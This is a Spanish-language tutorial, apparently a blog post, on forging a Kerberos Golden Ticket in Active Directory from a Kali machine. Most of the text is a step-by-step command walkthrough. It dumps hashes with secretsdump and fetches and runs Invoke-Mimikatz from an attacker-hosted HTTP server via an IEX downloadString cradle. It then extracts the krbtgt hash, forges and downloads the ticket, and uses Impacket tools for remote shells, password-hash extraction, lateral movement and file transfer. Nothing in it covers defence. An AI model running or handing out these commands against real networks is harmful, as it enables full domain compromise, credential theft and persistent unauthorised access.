Un Golden Ticket en Active Directory es un Ticket Granting Ticket (TGT) generado de manera fraudulenta que permite a un atacante obtener acceso completo a todos los recursos del dominio sin necesidad de conocer la contraseña de una cuenta privilegiada. Se aprovecha del hecho de que los TGT son generados y cifrados por la cuenta krbtgt del dominio.
Cuando un atacante compromete un controlador de dominio, puede extraer el hash NTLM de la cuenta krbtgt mediante técnicas como DCSync. Con este hash, el atacante puede crear un Golden Ticket utilizando herramientas como Mimikatz. Este ticket le otorga acceso ilimitado al dominio con privilegios de Domain Admin, permitiendo la ejecución de cualquier acción sin ser detectado fácilmente.
El Golden Ticket permite:
- Acceso total a los recursos del dominio.
- Creación de cuentas falsas o acceso a cuentas privilegiadas.
- Persistencia en la red, ya que el ticket puede configurarse con largos periodos de validez.
Para mostrar como podemos generar un Golden Ticket desde una máquina Kali en el siguiente ejemplo partiremos de que ya hemos conseguido establecer una sesión Evil-WinRM y realizar con éxito un ataque Dcsync y por tanto ya tenemos acceso a los hashes de la base de datos del directorio Activo.
Para poder generar un Golde Ticket necesitaremos extraer la siguiente información:
/user:Administrator: Especifica el nombre de usuario que representará el ticket (puedes usar cualquier cuenta, para este ejemplo usaremos "Administrator"). /domain:dominio.local
: Especifica el dominio objetivo.
/sid:S-1-5-21-XXXX: El **SID** del dominio. Lo puedes obtener del resultado de **secretsdump** o ejecutando
whoami /useren la máquina víctima. /krbtgt:<hash-krbtgt>
: El hash NTLM de la cuenta KRBTGT que obtuviste mediante DCSync
Paso 1 – Extraer el sid del dominio
lookupsid.py megabank.corp/jsmith@<IP DC VÍCTIMA>
Paso 2 – Obtener el hash de la cuenta Administrator
secretsdump.py ‘megabank.corp/jsmith@192.168.56.110’ -just-dc-user Administrator
Paso 3 – Compartir el directorio en el que tengamos el archivo Invoke-Mimikatz.ps1
python3 -m http.server 80
Paso 4 – Ejecutar mimikatz
IEX(New-Object Net.WebClient).downloadString(‘http://192.168.56.106/Invoke-Mimikatz.ps1’)
Paso 5 – Extraer el hash de la cuenta krbtgt
Invoke-Mimikatz -Command ‘”lsadump::lsa /patch”‘
Paso 6 – Generamos el archivo .tck que será nuestro Golden Tiket
nvoke-Mimikatz -Command ‘”kerberos::golden /user:Administrator /domain:megabank.corp /sid:S-1-5-21-2468149193-2916027400-3519295115 /krbtgt:def1de47f1049e4b04ee3896d8028c5d /ticket:evil.tck”‘
Paso 7 – Nos descargamos el ticket a nuestra máquina Kali con el siguiente comando:
download C:\Users\Administrator\Documents\evil.tck /home/kali/Downloads/evil.tck
Paso 8 – Ahora necesitamos convertir el ticket al formato ccache
impacket-ticketConverter evil.tck evil.ccache
Establecer la persistencia usando el ticket convertido
Ahora Para que el ticket convertido se pueda usar en tu sesión actual, necesitas exportar la variable de de entorno KRB5CCNAME
, que señala a tu archivo ccache:
export KRB5CCNAME=/home/kali/Downloads/evil.ccache
Ahora ejecutamos klist para comprobar el ticket persistente
Utilizar las herramientas de Impacket con el ticket
Con el ticket cargado en tu sesión Kali, ahora puedes usar las herramientas de Impacket como psexec.py o wmiexec.py sin necesidad de proporcionar credenciales adicionales.
Usar psexec.py con el ticket cargado:
psexec.py -k -no-pass megabank.corp/Administrator@192.168.56.110
Cosas que podemos hacer
Conectar a un sistema remoto usando psexec.py
Este comando te permite ejecutar comandos remotamente en un sistema con privilegios de Domain Admin.
psexec.py -k -no-pass megabank.corp/Administrator@<IP_DEL_CONTROLADOR_DE_DOMINIO>
- El parámetro -k indica que estás usando Kerberos.
- -no-pass indica que no necesitas proporcionar la contraseña porque estás usando el ticket.
Una vez conectado, tendrás una shell con privilegios de administrador en el sistema remoto. Puedes ejecutar comandos como:
whoamihostname
dirC:\
2. Ejecutar comandos remotos usando wmiexec.py
Este comando es similar a psexec, pero usa WMI (Windows Management Instrumentation) para ejecutar comandos en sistemas remotos:
wmiexec.py -k -no-pass megabank.corp/Administrator@<IP_DEL_OBJETIVO>
Ejemplo de ejecución de un comando remoto:
wmiexec.py -k -no-pass megabank.corp/Administrator@<IP_DEL_OBJETIVO> “ipconfig /all”
Esto ejecutará ipconfig /all en el sistema remoto y devolverá la salida en tu consola.
3. Acceder a un sistema de archivos remoto con smbexec.py
Puedes usar smbexec.py para ejecutar comandos en un sistema remoto o para navegar por el sistema de archivos compartido usando SMB.
smbexec.py -k -no-pass megabank.corp/Administrator@<IP_DEL_OBJETIVO>
Al ejecutar este comando, obtendrás acceso a una shell interactiva para ejecutar comandos remotos o explorar el sistema de archivos de la máquina objetivo.
4. Listar las sesiones activas en un servidor con netview.py
Puedes usar netview.py para listar las sesiones activas y los recursos compartidos en un servidor o red.
netview.py -k -no-pass megabank.corp/Administrator@<IP_DEL_OBJETIVO>
Esto te permitirá ver qué usuarios están conectados al servidor, qué recursos compartidos existen y más información de red relevante.
5. Extraer hashes de contraseñas usando secretsdump.py
Puedes extraer los hashes de contraseñas de una máquina remota utilizando secretsdump.py para comprometer más cuentas o moverte lateralmente en la red.
secretsdump.py -k -no-pass megabank.corp/Administrator@<IP_DEL_CONTROLADOR_DE_DOMINIO>
Este comando extraerá los hashes de las contraseñas de todas las cuentas en el controlador de dominio. Esto te dará aún más acceso a otras cuentas y sistemas.
6. Enumerar usuarios y grupos de Active Directory usando GetUserSPNs.py
Si estás buscando vulnerabilidades de Kerberoasting, puedes enumerar los SPNs (Service Principal Names) asociados con usuarios del dominio para intentar realizar ataques de Kerberos ticket.
GetUserSPNs.py -k -no-pass megabank.corp/Administrator@<IP_DEL_CONTROLADOR_DE_DOMINIO>
Este comando listará todos los SPNs y te permitirá identificar cuentas de servicio que pueden ser vulnerables a Kerberoasting.
7. Buscar información de Active Directory con lookupsid.py
Puedes buscar información de las cuentas de Active Directory, como los SIDs (Security Identifiers), usando lookupsid.py.
lookupsid.py -k -no-pass megabank.corp/Administrator@<IP_DEL_CONTROLADOR_DE_DOMINIO>
Esto te proporcionará información detallada sobre las cuentas y sus SIDs en el controlador de dominio.
8. Obtener un listado de máquinas en el dominio con findDelegation.py
Este script te permite buscar delegaciones de Kerberos en el dominio, lo cual puede ser útil para identificar sistemas que tengan delegación habilitada y puedan ser utilizados para moverse lateralmente.
findDelegation.py -k -no-pass megabank.corp/Administrator@<IP_DEL_CONTROLADOR_DE_DOMINIO>
Esto te dará un listado de los sistemas que están configurados para delegación de Kerberos y pueden ser potenciales puntos de compromiso.
9. Transferir archivos con smbclient.py
Puedes utilizar smbclient.py para interactuar con los recursos compartidos de una máquina en el dominio, listar directorios y transferir archivos.
Conectar a un recurso compartido:
smbclient.py -k -no-pass megabank.corp/Administrator@<IP_DEL_SERVIDOR_COMPARTIDO>
Una vez conectado, puedes listar los archivos compartidos:
smb: \> dir
Y descargar o cargar archivos usando get y put:
smb: \> get sensitive_data.txt
smb: \> put myscript.ps1